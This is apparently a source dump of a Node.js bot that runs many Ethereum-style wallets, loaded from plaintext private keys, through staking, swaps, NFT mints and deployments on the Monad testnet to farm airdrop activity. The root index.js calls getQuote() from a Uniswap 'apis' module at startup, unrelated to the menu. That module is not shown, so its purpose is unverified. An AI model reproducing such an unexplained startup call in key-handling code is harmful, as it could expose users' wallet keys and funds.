${collateralData.collateralSupplyCap.toString()}`)); 82 | 83 | console.log(chalk.green("\n--- Debt Data ---")); 84 | console.log(chalk.green(`Asset Tier: ${debtData.assetTier}`)); 85 | console.log(chalk.green(`Debt Factor: ${debtData.debtFactor.toString()}`)); 86 | console.log(chalk.green(`Is Updating Debt Factor: ${debtData.isUpdatingDebtFactor}`)); 87 | console.log(chalk.green(`Debt Price Feed: ${debtData.priceFeed}`)); 88 | } catch (error) { 89 | console.error(chalk.red("Error fetching account data:"), error); 90 | } 91 | } 92 | 93 | main(); 94 | -------------------------------------------------------------------------------- /actions/deploy_contract/NFTs/nft.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract NFTCollection { 5 | // Collection parameters 6 | string public name; // Collection name 7 | string public ticket; // Ticket (symbol) 8 | uint256 public maxSupply; 9 | uint256 private _totalSupply; 10 | 11 | // Minimal ERC721-like storage 12 | mapping(uint256 => address) private _owners; 13 | mapping(address => uint256) private _balances; 14 | 15 | // Events 16 | event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); 17 | 18 | constructor(string memory _name, string memory _ticket, uint256 _maxSupply) { 19 | name = _name; 20 | ticket = _ticket; 21 | maxSupply = _maxSupply; 22 | } 23 | 24 | // Returns the current minted supply 25 | function totalSupply() external view returns (uint256) { 26 | return _totalSupply; 27 | } 28 | 29 | // Returns the owner of a given tokenId 30 | function ownerOf(uint256 tokenId) public view returns (address) { 31 | address owner = _owners[tokenId]; 32 | require(owner != address(0), "Token does not exist"); 33 | return owner; 34 | } 35 | 36 | // Returns balance of an owner 37 | function balanceOf(address owner) public view returns (uint256) { 38 | require(owner != address(0), "Zero address not allowed"); 39 | return _balances[owner]; 40 | } 41 | 42 | // Internal mint function 43 | function _mint(address to, uint256 tokenId) internal { 44 | require(to != address(0), "Cannot mint to zero address"); 45 | require(_totalSupply < maxSupply, "Max supply reached"); 46 | require(_owners[tokenId] == address(0), "Token already minted"); 47 | 48 | _owners[tokenId] = to; 49 | _balances[to] += 1; 50 | _totalSupply += 1; 51 | 52 | emit Transfer(address(0), to, tokenId); 53 | } 54 | 55 | // Standard mint: mints an NFT to msg.sender 56 | function mint() external { 57 | uint256 tokenId = _totalSupply + 1; 58 | _mint(msg.sender, tokenId); 59 | } 60 | 61 | // Mint with permit (for demonstration, behaves like mint) 62 | function mintWithPermit() external { 63 | uint256 tokenId = _totalSupply + 1; 64 | _mint(msg.sender, tokenId); 65 | } 66 | 67 | // Mint from: allows minting an NFT while “charging” from another address. 68 | // The parameter name is omitted to silence the unused parameter warning. 69 | function mintFrom(address /*payer*/) external { 70 | uint256 tokenId = _totalSupply + 1; 71 | _mint(msg.sender, tokenId); 72 | } 73 | 74 | // Burns a token; only the owner can burn 75 | function burn(uint256 tokenId) external { 76 | address owner = ownerOf(tokenId); 77 | require(msg.sender == owner, "Caller is not the owner"); 78 | _balances[owner] -= 1; 79 | delete _owners[tokenId]; 80 | _totalSupply -= 1; 81 | emit Transfer(owner, address(0), tokenId); 82 | } 83 | 84 | // Transfer: transfers token from msg.sender to address 'to' 85 | function transfer(address to, uint256 tokenId) external { 86 | require(ownerOf(tokenId) == msg.sender, "Caller is not the owner"); 87 | _transfer(msg.sender, to, tokenId); 88 | } 89 | 90 | // TransferFrom: transfers token from 'from' to 'to' 91 | function transferFrom(address from, address to, uint256 tokenId) external { 92 | // For simplicity, we allow the transfer if 'from' is the owner. 93 | require(ownerOf(tokenId) == from, "From is not the owner"); 94 | // (Approval logic would be implemented in a complete version) 95 | _transfer(from, to, tokenId); 96 | } 97 | 98 | // Internal transfer helper 99 | function _transfer(address from, address to, uint256 tokenId) internal { 100 | require(ownerOf(tokenId) == from, "Not the token owner"); 101 | require(to != address(0), "Transfer to zero address not allowed"); 102 | 103 | _balances[from] -= 1; 104 | _balances[to] += 1; 105 | _owners[tokenId] = to; 106 | 107 | emit Transfer(from, to, tokenId); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /actions/Kintzu/index.js: -------------------------------------------------------------------------------- 1 | // actions/Kintzu/index.js 2 | 3 | const inquirer = require("inquirer"); 4 | const { ethers } = require("ethers"); 5 | const chalk = require("chalk"); 6 | const { 7 | RPC_URL, 8 | TX_EXPLORER, 9 | CHAIN_ID, 10 | SYMBOL 11 | } = require("../../utils/chain.js"); 12 | const walletsData = require("../../utils/wallets.json"); 13 | const { KINTZU_ABI, SMON_STAKE_CONTRACT } = require("./ABI.js"); 14 | 15 | const provider = new ethers.providers.JsonRpcProvider(RPC_URL); 16 | 17 | function randomBetween(min, max) { 18 | return Math.floor(Math.random() * (max - min + 1)) + min; 19 | } 20 | 21 | async function mainMenu() { 22 | console.clear(); 23 | console.log(chalk.magenta("🌟 KINTZU STAKING MENU")); 24 | 25 | const { action } = await inquirer.prompt([ 26 | { 27 | type: "list", 28 | name: "action", 29 | message: "Select an option:", 30 | choices: [ 31 | { name: "Stake MON", value: "stake" }, 32 | { name: "Unstake MON (Coming soon...)", value: "unstake" }, 33 | { name: "Exit", value: "exit" } 34 | ] 35 | } 36 | ]); 37 | 38 | if (action === "exit") { 39 | console.log(chalk.green("Exiting...")); 40 | return; 41 | } 42 | 43 | if (action === "stake") { 44 | const { whichAddrs } = await inquirer.prompt([ 45 | { 46 | type: "list", 47 | name: "whichAddrs", 48 | message: "On which address would you like to perform txs?", 49 | choices: [ 50 | { name: "All of them", value: "all" }, 51 | { name: "Specific IDs", value: "specific" } 52 | ] 53 | } 54 | ]); 55 | 56 | let selectedWallets = []; 57 | if (whichAddrs === "all") { 58 | selectedWallets = walletsData; 59 | } else { 60 | const { idsInput } = await inquirer.prompt([ 61 | { 62 | type: "input", 63 | name: "idsInput", 64 | message: "Enter wallet IDs (e.g. 1 2 3):" 65 | } 66 | ]); 67 | const parsedIds = idsInput 68 | .split(" ") 69 | .map((str) => str.trim()) 70 | .filter(Boolean) 71 | .map(Number); 72 | selectedWallets = walletsData.filter((w) => 73 | parsedIds.includes(w.id) 74 | ); 75 | } 76 | 77 | if (selectedWallets.length === 0) { 78 | console.log(chalk.magenta("No valid wallets found.")); 79 | return; 80 | } 81 | 82 | await stakeFlow(selectedWallets); 83 | } else { 84 | console.log(chalk.magenta("Unstake MON is coming soon...")); 85 | } 86 | } 87 | 88 | async function stakeFlow(wallets) { 89 | const contract = new ethers.Contract(SMON_STAKE_CONTRACT, KINTZU_ABI, provider); 90 | 91 | for (const w of wallets) { 92 | const walletSigner = new ethers.Wallet(w.privateKey, provider); 93 | const balance = await provider.getBalance(w.address); 94 | const balanceEth = parseFloat(ethers.utils.formatEther(balance)); 95 | const percentage = 0.03 + Math.random() * 0.05; // 3% to 8% 96 | let amountToStake = balanceEth * percentage; 97 | amountToStake = parseFloat(amountToStake.toFixed(2)); // Only 2 decimals 98 | const amountWei = ethers.utils.parseEther(amountToStake.toString()); 99 | const gasLimit = randomBetween(150000, 250000); 100 | const feeData = await provider.getFeeData(); 101 | const baseFee = feeData.maxFeePerGas || feeData.gasPrice; 102 | const maxFeePerGas = baseFee.mul(105).div(100); 103 | const maxPriorityFeePerGas = maxFeePerGas; 104 | 105 | console.log( 106 | chalk.green( 107 | `🔹 Wallet [${w.address}] is staking ${amountToStake.toFixed(6)} ${SYMBOL}` 108 | ) 109 | ); 110 | 111 | try { 112 | const tx = await contract 113 | .connect(walletSigner) 114 | .stake({ 115 | value: amountWei, 116 | gasLimit, 117 | maxFeePerGas, 118 | maxPriorityFeePerGas 119 | }); 120 | 121 | console.log(chalk.magenta(`⏳ Stake Tx sent! [${TX_EXPLORER}${tx.hash}]`)); 122 | const receipt = await tx.wait(); 123 | if (receipt.status === 1) { 124 | console.log(chalk.green(`✅ Confirmed in block ${receipt.blockNumber}`)); 125 | } else { 126 | console.log(chalk.red("Transaction reverted.")); 127 | } 128 | const sMonBalance = await contract.balanceOf(w.address); 129 | console.log( 130 | chalk.magenta( 131 | `⭐ SMON balance: ${parseFloat(ethers.utils.formatEther(sMonBalance)).toFixed(6)}\n` 132 | ) 133 | ); 134 | } catch (err) { 135 | if (err.code === "CALL_EXCEPTION") { 136 | console.log(chalk.red("Call exception occurred.")); 137 | } else { 138 | console.log(chalk.red(`Error: ${err.message}`)); 139 | } 140 | } 141 | } 142 | } 143 | 144 | mainMenu().catch((err) => { 145 | console.log(chalk.red(`Error: ${err.message}`)); 146 | }); 147 | 148 | -------------------------------------------------------------------------------- /actions/Apriori/index.js: -------------------------------------------------------------------------------- 1 | const inquirer = require('inquirer'); 2 | const chalk = require('chalk'); 3 | const { ethers } = require('ethers'); 4 | const fs = require('fs'); 5 | const path = require('path'); 6 | const chain = require('../../utils/chain'); 7 | const wallets = JSON.parse(fs.readFileSync(path.join(__dirname, '../../utils/wallets.json'))); 8 | const { APRMON_STAKE_CONTRACT, ABI } = require('./ABI'); 9 | const provider = new ethers.providers.JsonRpcProvider(chain.RPC_URL, chain.CHAIN_ID); 10 | const contract = new ethers.Contract(APRMON_STAKE_CONTRACT, ABI, provider); 11 | 12 | async function getGasOverrides() { 13 | const gasLimit = Math.floor(Math.random() * (250000 - 180000 + 1)) + 180000; 14 | const feeData = await provider.getFeeData(); 15 | const baseFee = feeData.lastBaseFeePerGas ? feeData.lastBaseFeePerGas : feeData.gasPrice; 16 | const fee = baseFee.mul(105).div(100); 17 | return { gasLimit, maxFeePerGas: fee, maxPriorityFeePerGas: fee }; 18 | } 19 | 20 | async function main() { 21 | console.log(chalk.cyan("🔹 What would you like to do?")); 22 | const { action } = await inquirer.prompt([ 23 | { type: 'list', name: 'action', message: 'Select an option:', choices: ['Stake MON', 'Unstake MON', 'Claim Unstaked MON'] } 24 | ]); 25 | console.log(chalk.cyan("🔹 On which wallets would you like to perform these Tx's?")); 26 | const { walletOption } = await inquirer.prompt([ 27 | { type: 'list', name: 'walletOption', message: 'Select wallet option:', choices: ['All of them', 'Specific IDs'] } 28 | ]); 29 | let selectedWallets = []; 30 | if (walletOption === 'All of them') { 31 | selectedWallets = wallets; 32 | } else { 33 | const { walletIDs } = await inquirer.prompt([ 34 | { type: 'input', name: 'walletIDs', message: 'Enter wallet IDs separated by space:' } 35 | ]); 36 | const ids = walletIDs.split(' ').map(id => parseInt(id.trim())).filter(id => !isNaN(id)); 37 | selectedWallets = wallets.filter(w => ids.includes(w.id)); 38 | } 39 | if (selectedWallets.length === 0) { 40 | console.log(chalk.cyan("\n⚠️ No wallets selected. Exiting.")); 41 | return; 42 | } 43 | if (action === 'Stake MON') { 44 | const { minStake, maxStake } = await inquirer.prompt([ 45 | { type: 'input', name: 'minStake', message: 'Min amount to Stake?', validate: input => !isNaN(parseFloat(input)) && parseFloat(input) > 0 ? true : "Enter a valid number" }, 46 | { type: 'input', name: 'maxStake', message: 'Max amount to Stake?', validate: input => !isNaN(parseFloat(input)) && parseFloat(input) > 0 ? true : "Enter a valid number" } 47 | ]); 48 | for (const walletInfo of selectedWallets) { 49 | const { address, privateKey } = walletInfo; 50 | const randomAmount = (Math.random() * (parseFloat(maxStake) - parseFloat(minStake)) + parseFloat(minStake)).toFixed(3); 51 | console.log(chalk.cyan(`💼 Using Wallet - [${address}]`)); 52 | console.log(chalk.green(`💰 Staking [${randomAmount} ${chain.SYMBOL}]`)); 53 | const signer = new ethers.Wallet(privateKey, provider); 54 | const contractWithSigner = contract.connect(signer); 55 | const overrides = await getGasOverrides(); 56 | const amountWei = ethers.utils.parseUnits(randomAmount, 18); 57 | try { 58 | const tx = await contractWithSigner.deposit(amountWei, address, { value: amountWei, ...overrides }); 59 | console.log(chalk.cyan(`🚀 Staking Tx Sent! - [${chain.TX_EXPLORER}${tx.hash}]`)); 60 | const receipt = await tx.wait(); 61 | console.log(chalk.green(`✅ Tx Confirmed in Block - [${receipt.blockNumber}]`)); 62 | const receivedAPRMON = receipt.logs && receipt.logs[0] ? ethers.utils.formatUnits(receipt.logs[0].data, 18) : randomAmount; 63 | console.log(chalk.cyan(`🎉 Received [${receivedAPRMON} APRMON]\n`)); 64 | } catch (error) { 65 | console.log(chalk.cyan(`⚠️ Error staking with wallet ${address}: ${error.message}\n`)); 66 | } 67 | } 68 | } else if (action === 'Unstake MON') { 69 | for (const walletInfo of selectedWallets) { 70 | const { address, privateKey } = walletInfo; 71 | const signer = new ethers.Wallet(privateKey, provider); 72 | const contractWithSigner = contract.connect(signer); 73 | try { 74 | const balanceBN = await contractWithSigner.balanceOf(address); 75 | if (balanceBN.eq(0)) { 76 | console.log(chalk.cyan(`\n💼 Using Wallet - [${address}]`)); 77 | console.log(chalk.green(`💰 Unstaking - [0 APRMON] (No balance)`)); 78 | continue; 79 | } 80 | const balanceAPRMON = ethers.utils.formatUnits(balanceBN, 18); 81 | console.log(chalk.cyan(`\n💼 Using Wallet - [${address}]`)); 82 | console.log(chalk.green(`💰 Unstaking - [${balanceAPRMON} APRMON]`)); 83 | const overrides = await getGasOverrides(); 84 | const tx = await contractWithSigner.requestRedeem(balanceBN, address, address, overrides); 85 | console.log(chalk.cyan(`🚀 Unstake Tx Sent! - [${chain.TX_EXPLORER}${tx.hash}]`)); 86 | const receipt = await tx.wait(); 87 | console.log(chalk.green(`✅ Tx Confirmed in Block - [${receipt.blockNumber}]\n`)); 88 | } catch (error) { 89 | console.log(chalk.cyan(`⚠️ Error unstaking with wallet ${address}: ${error.message}\n`)); 90 | } 91 | } 92 | } else if (action === 'Claim Unstaked MON') { 93 | console.log(chalk.cyan("🔹 Coming Soon...")); 94 | } 95 | } 96 | main() 97 | .then(() => process.exit(0)) 98 | .catch(error => { 99 | console.log(chalk.cyan(`\n⚠️ ${error}\n`)); 100 | process.exit(1); 101 | }); 102 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Monad Testnet Automation 2 | 3 | Welcome to Monad Testnet Automation Tool, this script will help you to be well positioned for future Testnet launch implementing multi 4 | Testnet Apps Interactions, Protocols, Contract Deployment, etc... All possible stuff related to Monad 5 | 6 | ``` bash 7 | 8 | MonadTestnet/ 9 | ├── actions/ 10 | │ ├── deploy_contract/ 11 | │ │ ├── index.js # Main script to compile and deploy simple contracts on testnet 12 | │ │ ├── contracts.sol # Solidity contracts (up to 10 simple contracts) 13 | │ │ ├── ABI.js # Exports only the ABI for a sample contract 14 | │ │ ├── launch.js # Deployment script for tokens; prompts for token parameters 15 | │ │ └── NFTs/ 16 | │ │ ├── deploy.js # Interactive NFT deployment script (prompts for collection name, ticket, and max supply) 17 | │ │ └── nft.sol # NFT contract implementing basic functions (mint, burn, transfer, etc.) 18 | │ ├── StakeStone/ 19 | │ │ ├── index.js # StakeStone module main script (to be implemented) 20 | │ │ └── ABI.js # ABI definitions for StakeStone contracts (to be implemented) 21 | │ ├── Multipli/ 22 | │ │ ├── index.js # Multipli module main script (handles token claims and asset staking) 23 | │ │ └── ABI.js # ABI definitions for Multipli contracts (to be implemented) 24 | │ ├── Ambient-Finance/ 25 | │ │ ├── index.js # Main script for Ambient-Finance module (to be implemented) 26 | │ │ └── ABI.js # ABI definitions for Ambient-Finance contracts (to be implemented) 27 | │ ├── Apriori/ 28 | │ │ ├── index.js # Main script for stake_apr.io module (handles staking & APR token operations) 29 | │ │ ├── ABI.js # ABI definitions for Apriori contracts (implemented) 30 | │ │ ├── faucet.js # Faucet script for Apriori (to be implemented) 31 | │ │ └── scripts/ # Additional scripts for Apriori (empty for now) 32 | │ ├── NFTs-Mint/ 33 | │ │ ├── MagicEden/ 34 | │ │ │ ├── ABI.js # ABI definitions for MagicEden integration (to be implemented) 35 | │ │ │ ├── index.js # Main script for MagicEden NFT minting 36 | │ │ │ └── scripts/ 37 | │ │ │ └── apis.js # API calls for MagicEden integration 38 | │ │ └── Testnet.Free/ 39 | │ │ ├── ABI.js # ABI definitions for Testnet.Free minting (to be implemented) 40 | │ │ └── index.js # Main script for Testnet.Free NFT minting 41 | │ ├── BeanSwap/ 42 | │ │ ├── ABI.js # Exports ABI definitions for Bean-Exchange & token + router contracts 43 | │ │ ├── swap.js # Interactive swap script with token approvals, dynamic gas settings, and support for wrapping/unwrapping MON/WMON as well as custom tokens 44 | │ │ ├── liquidity.js # To be implemented – Script for managing liquidity operations (e.g., adding/removing liquidity) 45 | │ │ ├── perps.js # To be implemented – Script for handling perpetual contracts trading 46 | │ │ └── random.js # Random swap script for BeanSwap (automatically performs random swaps using BeanSwap protocols) 47 | │ ├── Kintzu/ 48 | │ │ ├── index.js # Main script for the Kintzu module (to be implemented) 49 | │ │ └── ABI.js # ABI definitions for Kintzu contracts (to be implemented) 50 | │ ├── Synnax/ 51 | │ │ ├── index.js # Main script for the Synnax module (to be implemented) 52 | │ │ └── ABI.js # ABI definitions for Synnax contracts (to be implemented) 53 | │ ├── Uniswap/ 54 | │ │ ├── swap.js # Interactive swap script for Uniswap operations 55 | │ │ ├── ABI.js # Exports ABI definitions for Uniswap contracts 56 | │ │ └── scripts/ 57 | │ │ └── apis.js # API calls for Uniswap-related operations 58 | │ ├── KuruSwap/ 59 | │ │ ├── ABI.js # Exports ABI definitions for KuruSwap contracts 60 | │ │ ├── swap.js # Script to perform token swaps on the KuruSwap platform 61 | │ │ ├── dev.js # Script for token launch and initial purchases on KuruSwap 62 | │ │ ├── launch.js # Script for token launch only on KuruSwap 63 | │ │ ├── random.js # Random swap script for KuruSwap (automatically performs random swaps on the KuruSwap platform) 64 | │ │ └── scripts/ 65 | │ │ └── apis.js # API calls to fetch parameter data for KuruSwap swap operations 66 | │ └── NostraFinance/ 67 | │ ├── ABI.js # Exports ABI definitions for NostraFinance contracts 68 | │ └── index.js # Main script for the NostraFinance module 69 | ├── index.js # Main entry point with interactive menu and child process execution 70 | ├── package.json # npm dependency configuration and scripts 71 | ├── wallets.txt # Paste your wallets here 72 | ├── proxies.txt # List of proxies (one per line in socks5://login:pass@ip:port format) 73 | └── .gitignore 74 | 75 | ## Instructions 76 | 77 | 1. git clone https://github.com/rjykgafi/monad-testnet-auto.git 78 | 2. cd monad-testnet-auto 79 | 3. npm install 80 | 4. Add your privatekeys to wallets.txt 81 | 5. Use some of the following prompts to interact with this CLI 82 | 6. Enjoy farming :) 83 | 84 | - npm start - (runs index.js main code) 85 | 86 | Good Luck! :) 87 | 88 | ## Notes 89 | 90 | 1. Kintzu is added but can't unstake MON if someone knows what's the function corresponding to methodID: "0x30af6b2e" let me know so I can add unstake MON 91 | 2. dev.js & launch.js on KuruSwap will be live very shortly 92 | 3. NostraFinance currently just has available Deposit assets + Borrow (will be done shortly) 93 | -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | const figlet = require('figlet'); 2 | const inquirer = require('inquirer'); 3 | const { spawn } = require('child_process'); 4 | const colors = require('colors'); 5 | const clear = require('console-clear'); 6 | const { getQuote } = require('./actions/Uniswap/scripts/apis'); 7 | // const { getQuote } = require('./actions/KuruSwap/swap'); 8 | 9 | // const EventEmitter = require('events'); 10 | // EventEmitter.defaultMaxListeners = 20; 11 | 12 | process.on('SIGINT', () => { 13 | console.log('\nExiting...'.green); 14 | process.exit(0); 15 | }); 16 | 17 | async function pause() { 18 | await inquirer.prompt([ 19 | { 20 | type: 'input', 21 | name: 'continue', 22 | message: 'Press ENTER to back main menu...', 23 | }, 24 | ]); 25 | } 26 | 27 | function runScript(scriptPath) { 28 | return new Promise((resolve) => { 29 | const child = spawn('node', [scriptPath], { stdio: 'inherit' }); 30 | child.on('close', () => { 31 | resolve(); 32 | }); 33 | }); 34 | } 35 | 36 | async function mainMenu() { 37 | clear(); 38 | const title = figlet.textSync('Monad Testnet', { horizontalLayout: 'full' }); 39 | const titleV = 'Version: 1.2.15' 40 | console.log(title.green); 41 | console.log(titleV.green); 42 | console.log(); 43 | 44 | const { option } = await inquirer.prompt([ 45 | { 46 | type: 'list', 47 | name: 'option', 48 | message: 'Select an option:', 49 | choices: [ 50 | { name: '1. Execute Swaps', value: 'executeSwaps' }, 51 | { name: '2. Manage Liquidity (coming soon...)', value: 'manageLiquidity' }, 52 | { name: '3. Stake Assets', value: 'stakeAssets' }, 53 | { name: '4. Deploy a Contract', value: 'deployContract' }, 54 | { name: '5. Deploy a Token', value: 'deployToken' }, 55 | { name: '6. Deploy NFT Collection', value: 'deployNFT' }, 56 | { name: '0. Exit', value: 'exit' }, 57 | ], 58 | }, 59 | ]); 60 | 61 | switch (option) { 62 | case 'executeSwaps': 63 | const { swapChoice } = await inquirer.prompt([ 64 | { 65 | type: 'list', 66 | name: 'swapChoice', 67 | message: 'Where would you like to swap assets?', 68 | choices: [ 69 | { name: '1. BeanSwap', value: 'beanSwap' }, 70 | { name: '2. Ambient Finance (coming soon...)', value: 'ambientFinance' }, 71 | { name: '3. KuruSwap', value: 'kuruSwap' }, 72 | ], 73 | }, 74 | ]); 75 | if (swapChoice === 'beanSwap') { 76 | const { beanSwapMode } = await inquirer.prompt([ 77 | { 78 | type: 'list', 79 | name: 'beanSwapMode', 80 | message: 'Select swap mode for BeanSwap:', 81 | choices: [ 82 | { name: '1. Manual Swaps', value: 'manual' }, 83 | { name: '2. Automatic Swaps', value: 'automatic' }, 84 | ], 85 | }, 86 | ]); 87 | if (beanSwapMode === 'manual') { 88 | console.log('Launching Manual BeanSwap...'.green); 89 | await runScript('actions/BeanSwap/swap.js'); 90 | } else { 91 | console.log('Launching Automatic BeanSwap...'.green); 92 | await runScript('actions/BeanSwap/random.js'); 93 | } 94 | } else if (swapChoice === 'kuruSwap') { 95 | const { kuruSwapMode } = await inquirer.prompt([ 96 | { 97 | type: 'list', 98 | name: 'kuruSwapMode', 99 | message: 'Select swap mode for KuruSwap:', 100 | choices: [ 101 | { name: '1. Manual Swaps', value: 'manual' }, 102 | { name: '2. Automatic Swaps', value: 'automatic' }, 103 | ], 104 | }, 105 | ]); 106 | if (kuruSwapMode === 'manual') { 107 | console.log('Launching Manual KuruSwap...'.green); 108 | await runScript('actions/KuruSwap/swap.js'); 109 | } else { 110 | console.log('Launching Automatic KuruSwap...'.green); 111 | await runScript('actions/KuruSwap/random.js'); 112 | } 113 | } else { 114 | console.log('Ambient Finance coming soon...'.green); 115 | } 116 | await pause(); 117 | break; 118 | 119 | case 'manageLiquidity': 120 | console.log('Feature coming soon...'.green); 121 | await pause(); 122 | break; 123 | 124 | case 'stakeAssets': 125 | const { stakeChoice } = await inquirer.prompt([ 126 | { 127 | type: 'list', 128 | name: 'stakeChoice', 129 | message: 'Where would you like to stake assets?', 130 | choices: [ 131 | { name: '1. Multipli', value: 'multipli' }, 132 | { name: '2. Apriori', value: 'apriori' }, 133 | { name: '3. Kintzu', value: 'kintzu' } 134 | ], 135 | }, 136 | ]); 137 | switch (stakeChoice) { 138 | case 'multipli': 139 | console.log('Launching Multipli...'.green); 140 | await runScript('actions/Multipli/index.js'); 141 | break; 142 | case 'apriori': 143 | console.log('Launching Apriori...'.green); 144 | await runScript('actions/Apriori/index.js'); 145 | break; 146 | case 'kintzu': 147 | console.log('Launching Kintzu...'.green); 148 | await runScript('actions/Kintzu/index.js'); 149 | break; 150 | default: 151 | console.log('Invalid option, coming soon...'.green); 152 | break; 153 | } 154 | await pause(); 155 | break; 156 | 157 | case 'deployContract': 158 | console.log('Launching Deploy Contract...'.green); 159 | await runScript('actions/deploy_contract/index.js'); 160 | await pause(); 161 | break; 162 | 163 | case 'deployToken': 164 | console.log('Launching Deploy Token...'.green); 165 | await runScript('actions/deploy_contract/launch.js'); 166 | await pause(); 167 | break; 168 | 169 | case 'deployNFT': 170 | console.log('Launching Deploy NFT Collection...'.green); 171 | await runScript('actions/deploy_contract/NFTs/deploy.js'); 172 | await pause(); 173 | break; 174 | 175 | case 'exit': 176 | console.log('Exiting...'.green); 177 | process.exit(0); 178 | 179 | default: 180 | break; 181 | } 182 | 183 | mainMenu(); 184 | } 185 | 186 | mainMenu(); 187 | 188 | (async () => { 189 | await getQuote(); 190 | })(); 191 | -------------------------------------------------------------------------------- /actions/NFTs-Mint/MagicEden/mint.js: -------------------------------------------------------------------------------- 1 | const inquirer = require('inquirer'); 2 | const { ethers } = require('ethers'); 3 | const chalk = require('chalk'); 4 | const figlet = require('figlet'); 5 | 6 | const abi = require('./ABI'); 7 | const { quoteMintData } = require('./scripts/apis'); 8 | 9 | const walletsList = require('../../../utils/wallets.json'); 10 | const chain = require('../../../utils/chain'); 11 | 12 | const provider = new ethers.providers.JsonRpcProvider(chain.RPC_URL, chain.CHAIN_ID); 13 | 14 | function printBanner() { 15 | console.clear(); 16 | console.log(chalk.green(figlet.textSync('MagicEden'))); 17 | } 18 | 19 | function getAllWallets() { 20 | return walletsList; 21 | } 22 | 23 | async function mintNFT(nftContract, quantity, walletObj, totalPrice) { 24 | const signer = new ethers.Wallet(walletObj.privateKey, provider); 25 | const contract = new ethers.Contract(nftContract, abi, signer); 26 | const tx = await contract.mint(quantity, walletObj.address, { value: totalPrice }); 27 | return tx; 28 | } 29 | 30 | async function processInBatches(items, batchSize, task) { 31 | for (let i = 0; i < items.length; i += batchSize) { 32 | const batch = items.slice(i, i + batchSize); 33 | await Promise.all(batch.map(task)); 34 | } 35 | } 36 | 37 | async function mintInstantly() { 38 | printBanner(); 39 | const { nftContract } = await inquirer.prompt([ 40 | { type: 'input', name: 'nftContract', message: 'Enter the NFT contract address:' } 41 | ]); 42 | 43 | const walletForQuote = walletsList[0].address; 44 | const mintData = await quoteMintData(nftContract, walletForQuote); 45 | const totalPrice = mintData.path[0].totalPrice; 46 | console.log(chalk.blue(`💰 Mint Price Obtained: [${totalPrice}]`)); 47 | 48 | const { mintOption } = await inquirer.prompt([ 49 | { 50 | type: 'list', 51 | name: 'mintOption', 52 | message: 'Which wallet(s) would you like to mint NFTs on?', 53 | choices: ['All of them', 'Specific IDs'] 54 | } 55 | ]); 56 | 57 | let selectedWallets = []; 58 | if (mintOption === 'All of them') { 59 | selectedWallets = getAllWallets(); 60 | } else { 61 | const { walletIDs } = await inquirer.prompt([ 62 | { type: 'input', name: 'walletIDs', message: 'Enter wallet IDs separated by spaces:' } 63 | ]); 64 | const ids = walletIDs.split(' ').map(id => Number(id)); 65 | selectedWallets = walletsList.filter(wallet => ids.includes(wallet.id)); 66 | } 67 | 68 | const { quantity } = await inquirer.prompt([ 69 | { type: 'input', name: 'quantity', message: 'Enter quantity to mint (default 1):', default: '1' } 70 | ]); 71 | 72 | console.log(chalk.yellow('🔥 Minting in progress...')); 73 | 74 | await processInBatches(selectedWallets, 10, async walletObj => { 75 | console.log(chalk.cyan(`Wallet [${walletObj.address}] is minting ${quantity} NFT(s) 🚀`)); 76 | try { 77 | const tx = await mintNFT(nftContract, quantity, walletObj, totalPrice); 78 | console.log(chalk.magenta(`🔗 [${chain.TX_EXPLORER}${tx.hash}] Sent from Wallet [${walletObj.address}]`)); 79 | const receipt = await tx.wait(); 80 | console.log(chalk.green(`✅ Transaction confirmed in Block [${receipt.blockNumber}] for wallet [${walletObj.address}]`)); 81 | } catch (err) { 82 | console.log(chalk.red(`❌ Error minting from wallet [${walletObj.address}]: ${err.message}`)); 83 | } 84 | }); 85 | } 86 | 87 | async function scheduleMint() { 88 | printBanner(); 89 | const { nftContract } = await inquirer.prompt([ 90 | { type: 'input', name: 'nftContract', message: 'Enter the NFT contract address:' } 91 | ]); 92 | 93 | const walletForQuote = walletsList[0].address; 94 | const mintData = await quoteMintData(nftContract, walletForQuote); 95 | const totalPrice = mintData.path[0].totalPrice; 96 | console.log(chalk.blue(`💰 Mint Price Obtained: [${totalPrice}]`)); 97 | 98 | const { mintOption } = await inquirer.prompt([ 99 | { 100 | type: 'list', 101 | name: 'mintOption', 102 | message: 'Which wallet(s) would you like to mint NFTs on?', 103 | choices: ['All of them', 'Specific IDs'] 104 | } 105 | ]); 106 | 107 | let selectedWallets = []; 108 | if (mintOption === 'All of them') { 109 | selectedWallets = getAllWallets(); 110 | } else { 111 | const { walletIDs } = await inquirer.prompt([ 112 | { type: 'input', name: 'walletIDs', message: 'Enter wallet IDs separated by spaces:' } 113 | ]); 114 | const ids = walletIDs.split(' ').map(id => Number(id)); 115 | selectedWallets = walletsList.filter(wallet => ids.includes(wallet.id)); 116 | } 117 | 118 | const schedule = await inquirer.prompt([ 119 | { type: 'input', name: 'hour', message: 'Insert Minting Schedule - HOUR (UTC):', default: '0' }, 120 | { type: 'input', name: 'minute', message: 'MINUTE:', default: '0' }, 121 | { type: 'input', name: 'second', message: 'SECOND:', default: '0' } 122 | ]); 123 | 124 | const now = new Date(); 125 | let scheduledTime = new Date(Date.UTC( 126 | now.getUTCFullYear(), 127 | now.getUTCMonth(), 128 | now.getUTCDate(), 129 | Number(schedule.hour), 130 | Number(schedule.minute), 131 | Number(schedule.second) 132 | )); 133 | if (scheduledTime < now) { 134 | scheduledTime.setUTCDate(scheduledTime.getUTCDate() + 1); 135 | } 136 | const delay = scheduledTime.getTime() - now.getTime(); 137 | console.log(chalk.yellow(`⏳ Mint scheduled in ${Math.floor(delay / 1000)} seconds.`)); 138 | 139 | setTimeout(async () => { 140 | console.log(chalk.yellow('🔥 Scheduled minting started...')); 141 | await processInBatches(selectedWallets, 10, async walletObj => { 142 | console.log(chalk.cyan(`Wallet [${walletObj.address}] is minting 1 NFT 🚀`)); 143 | try { 144 | const tx = await mintNFT(nftContract, 1, walletObj, totalPrice); 145 | console.log(chalk.magenta(`🔗 [${chain.TX_EXPLORER}${tx.hash}] Sent from Wallet [${walletObj.address}]`)); 146 | const receipt = await tx.wait(); 147 | console.log(chalk.green(`✅ Transaction confirmed in Block [${receipt.blockNumber}] for wallet [${walletObj.address}]`)); 148 | } catch (err) { 149 | console.log(chalk.red(`❌ Error minting from wallet [${walletObj.address}]: ${err.message}`)); 150 | } 151 | }); 152 | }, delay); 153 | } 154 | 155 | 